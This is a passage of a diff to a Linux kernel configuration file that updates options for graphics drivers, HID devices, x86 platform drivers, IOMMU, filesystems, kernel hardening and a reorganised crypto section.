CONFIG_DRM_DP_AUX_CHARDEV is not set # CONFIG_DRM_DP_CEC is not set CONFIG_DRM_TTM=y -CONFIG_DRM_TTM_DMA_PAGE_POOL=y +CONFIG_DRM_BUDDY=y CONFIG_DRM_VRAM_HELPER=y CONFIG_DRM_TTM_HELPER=y -CONFIG_DRM_VM=y CONFIG_DRM_SCHED=y # @@ -1949,7 +2086,6 @@ CONFIG_DRM_AMDGPU=y # CONFIG_DRM_AMDGPU_SI is not set # CONFIG_DRM_AMDGPU_CIK is not set # CONFIG_DRM_AMDGPU_USERPTR is not set -# CONFIG_DRM_AMDGPU_GART_DEBUGFS is not set # # ACP (Audio CoProcessor) Configuration @@ -1962,9 +2098,8 @@ CONFIG_DRM_AMDGPU=y # CONFIG_DRM_AMD_DC=y CONFIG_DRM_AMD_DC_DCN=y -# CONFIG_DRM_AMD_DC_DCN3_0 is not set # CONFIG_DRM_AMD_DC_HDCP is not set -# CONFIG_DRM_AMD_DC_SI is not set +# CONFIG_DRM_AMD_SECURE_DISPLAY is not set # end of Display Engine Configuration # CONFIG_HSA_AMD is not set @@ -1984,7 +2119,7 @@ CONFIG_DRM_NOUVEAU_BACKLIGHT=y CONFIG_DRM_AST=y # CONFIG_DRM_MGAG200 is not set # CONFIG_DRM_QXL is not set -# CONFIG_DRM_BOCHS is not set +# CONFIG_DRM_VIRTIO_GPU is not set CONFIG_DRM_PANEL=y # @@ -2002,9 +2137,13 @@ CONFIG_DRM_PANEL_BRIDGE=y # end of Display Interface Bridges # CONFIG_DRM_ETNAVIV is not set +# CONFIG_DRM_BOCHS is not set # CONFIG_DRM_CIRRUS_QEMU is not set # CONFIG_DRM_GM12U320 is not set +# CONFIG_DRM_SIMPLEDRM is not set # CONFIG_DRM_VBOXVIDEO is not set +# CONFIG_DRM_GUD is not set +# CONFIG_DRM_SSD130X is not set CONFIG_DRM_LEGACY=y # CONFIG_DRM_TDFX is not set # CONFIG_DRM_R128 is not set @@ -2012,6 +2151,7 @@ CONFIG_DRM_LEGACY=y # CONFIG_DRM_VIA is not set # CONFIG_DRM_SAVAGE is not set CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y +CONFIG_DRM_NOMODESET=y # # Frame buffer Devices @@ -2020,7 +2160,6 @@ CONFIG_FB_CMDLINE=y CONFIG_FB_NOTIFY=y CONFIG_FB=y # CONFIG_FIRMWARE_EDID is not set -CONFIG_FB_BOOT_VESA_SUPPORT=y CONFIG_FB_CFB_FILLRECT=y CONFIG_FB_CFB_COPYAREA=y CONFIG_FB_CFB_IMAGEBLIT=y @@ -2104,6 +2243,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2129,7 +2269,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -2156,6 +2295,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -2164,9 +2305,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -2179,11 +2322,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -2193,6 +2340,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -2221,7 +2369,7 @@ CONFIG_USB_HID=m # # I2C HID support # -# CONFIG_I2C_HID is not set +# CONFIG_I2C_HID_ACPI is not set # end of I2C HID support # @@ -2229,6 +2377,12 @@ CONFIG_USB_HID=m # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -2315,7 +2469,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2368,6 +2522,7 @@ CONFIG_USB_STORAGE=m # CONFIG_TYPEC is not set # CONFIG_USB_ROLE_SWITCH is not set # CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2436,6 +2591,7 @@ CONFIG_RTC_I2C_AND_SPI=y # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2464,6 +2620,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2472,8 +2629,10 @@ CONFIG_RTC_DRV_CMOS=y CONFIG_SYNC_FILE=y # CONFIG_SW_SYNC is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -2493,41 +2652,66 @@ CONFIG_VHOST_MENU=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set +# CONFIG_CHROME_PLATFORMS is not set +# CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set CONFIG_X86_PLATFORM_DEVICES=y CONFIG_ACPI_WMI=y -CONFIG_WMI_BMOF=y +# CONFIG_WMI_BMOF is not set # CONFIG_HUAWEI_WMI is not set -# CONFIG_INTEL_WMI_SBL_FW_UPDATE is not set -# CONFIG_INTEL_WMI_THUNDERBOLT is not set CONFIG_MXM_WMI=y # CONFIG_PEAQ_WMI is not set +# CONFIG_NVIDIA_WMI_EC_BACKLIGHT is not set # CONFIG_XIAOMI_WMI is not set +# CONFIG_GIGABYTE_WMI is not set +# CONFIG_YOGABOOK_WMI is not set # CONFIG_ACERHDF is not set # CONFIG_ACER_WIRELESS is not set # CONFIG_ACER_WMI is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_AMD_HSMP is not set +# CONFIG_ADV_SWBUTTON is not set # CONFIG_APPLE_GMUX is not set # CONFIG_ASUS_LAPTOP is not set # CONFIG_ASUS_WIRELESS is not set -# CONFIG_DCDBAS is not set -# CONFIG_DELL_SMBIOS is not set -# CONFIG_DELL_RBU is not set -# CONFIG_DELL_SMO8800 is not set -# CONFIG_DELL_WMI_AIO is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set # CONFIG_FUJITSU_LAPTOP is not set # CONFIG_FUJITSU_TABLET is not set # CONFIG_GPD_POCKET_FAN is not set # CONFIG_HP_ACCEL is not set -# CONFIG_HP_WIRELESS is not set +# CONFIG_WIRELESS_HOTKEY is not set # CONFIG_HP_WMI is not set # CONFIG_IBM_RTL is not set # CONFIG_SENSORS_HDAPS is not set # CONFIG_THINKPAD_ACPI is not set +# CONFIG_THINKPAD_LMI is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# CONFIG_INTEL_WMI_SBL_FW_UPDATE is not set +# CONFIG_INTEL_WMI_THUNDERBOLT is not set + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + # CONFIG_INTEL_HID_EVENT is not set -# CONFIG_INTEL_MENLOW is not set # CONFIG_INTEL_VBTN is not set -# CONFIG_SURFACE_3_POWER_OPREGION is not set -# CONFIG_SURFACE_PRO3_BUTTON is not set +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_VSEC is not set # CONFIG_MSI_WMI is not set # CONFIG_SAMSUNG_LAPTOP is not set # CONFIG_SAMSUNG_Q10 is not set @@ -2539,28 +2723,14 @@ CONFIG_MXM_WMI=y # CONFIG_PANASONIC_LAPTOP is not set # CONFIG_SYSTEM76_ACPI is not set # CONFIG_TOPSTAR_LAPTOP is not set -# CONFIG_I2C_MULTI_INSTANTIATE is not set # CONFIG_MLX_PLATFORM is not set # CONFIG_INTEL_IPS is not set -# CONFIG_INTEL_RST is not set -# CONFIG_INTEL_SMARTCONNECT is not set - -# -# Intel Speed Select Technology interface support -# -# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set -# end of Intel Speed Select Technology interface support - -# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set -# CONFIG_INTEL_PMC_CORE is not set -# CONFIG_INTEL_PUNIT_IPC is not set # CONFIG_INTEL_SCU_PCI is not set # CONFIG_INTEL_SCU_PLATFORM is not set -CONFIG_PMC_ATOM=y -# CONFIG_CHROME_PLATFORMS is not set -# CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_MAX9485 is not set @@ -2569,6 +2739,7 @@ CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_SI544 is not set # CONFIG_COMMON_CLK_CDCE706 is not set # CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2589,9 +2760,12 @@ CONFIG_IOMMU_SUPPORT=y # # Generic IOMMU Pagetable Support # +CONFIG_IOMMU_IO_PGTABLE=y # end of Generic IOMMU Pagetable Support # CONFIG_IOMMU_DEBUGFS is not set +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set CONFIG_IOMMU_DMA=y CONFIG_AMD_IOMMU=y @@ -2623,11 +2797,6 @@ CONFIG_AMD_IOMMU_V2=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2638,11 +2807,21 @@ CONFIG_AMD_IOMMU_V2=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2653,7 +2832,6 @@ CONFIG_AMD_IOMMU_V2=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2662,7 +2840,6 @@ CONFIG_AMD_IOMMU_V2=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2678,7 +2855,14 @@ CONFIG_AMD_IOMMU_V2=y # CONFIG_GENERIC_PHY=y # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2698,16 +2882,16 @@ CONFIG_GENERIC_PHY=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y -CONFIG_NVMEM_SYSFS=y +# CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2718,11 +2902,12 @@ CONFIG_NVMEM_SYSFS=y # CONFIG_FPGA is not set # CONFIG_TEE is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2748,10 +2933,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2790,6 +2973,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2805,6 +2989,7 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set # end of Pseudo filesystems @@ -2876,11 +3061,8 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set CONFIG_DEFAULT_SECURITY_DAC=y @@ -2894,9 +3076,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2928,6 +3118,8 @@ CONFIG_CRYPTO_NULL2=y CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set +CONFIG_CRYPTO_SIMD=y +# end of Crypto core or helper # # Public-key cryptography @@ -2935,114 +3127,90 @@ CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set # CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set -# CONFIG_CRYPTO_CURVE25519_X86 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set -# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -# CONFIG_CRYPTO_CMAC is not set -CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32C_INTEL=y -# CONFIG_CRYPTO_CRC32 is not set -# CONFIG_CRYPTO_CRC32_PCLMUL is not set -# CONFIG_CRYPTO_XXHASH is not set # CONFIG_CRYPTO_BLAKE2B is not set -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_BLAKE2S_X86 is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +# CONFIG_CRYPTO_CMAC is not set # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set -# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_SSSE3=y -CONFIG_CRYPTO_SHA256_SSSE3=y -CONFIG_CRYPTO_SHA512_SSSE3=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set -# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -CONFIG_CRYPTO_AES=y -# CONFIG_CRYPTO_AES_TI is not set -# CONFIG_CRYPTO_AES_NI_INTEL is not set -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAST6 is not set -# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set -# CONFIG_CRYPTO_DES is not set -# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_CHACHA20_X86_64 is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TWOFISH is not set -# CONFIG_CRYPTO_TWOFISH_X86_64 is not set -# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set -# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -3053,13 +3221,19 @@ CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -3067,19 +3241,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -3095,7 +3297,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -3104,9 +3305,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -3121,6 +3339,7 @@ CONFIG_LIBCRC32C=y CONFIG_CRC8=m CONFIG_XXHASH=y # CONFIG_RANDOM32_SELFTEST is not set +CONFIG_ZSTD_COMMON=y CONFIG_ZSTD_DECOMPRESS=y CONFIG_XZ_DEC=y CONFIG_XZ_DEC_X86=y @@ -3129,6 +3348,7 @@ CONFIG_XZ_DEC_IA64=y CONFIG_XZ_DEC_ARM=y CONFIG_XZ_DEC_ARMTHUMB=y CONFIG_XZ_DEC_SPARC=y +# CONFIG_XZ_DEC_MICROLZMA is not set 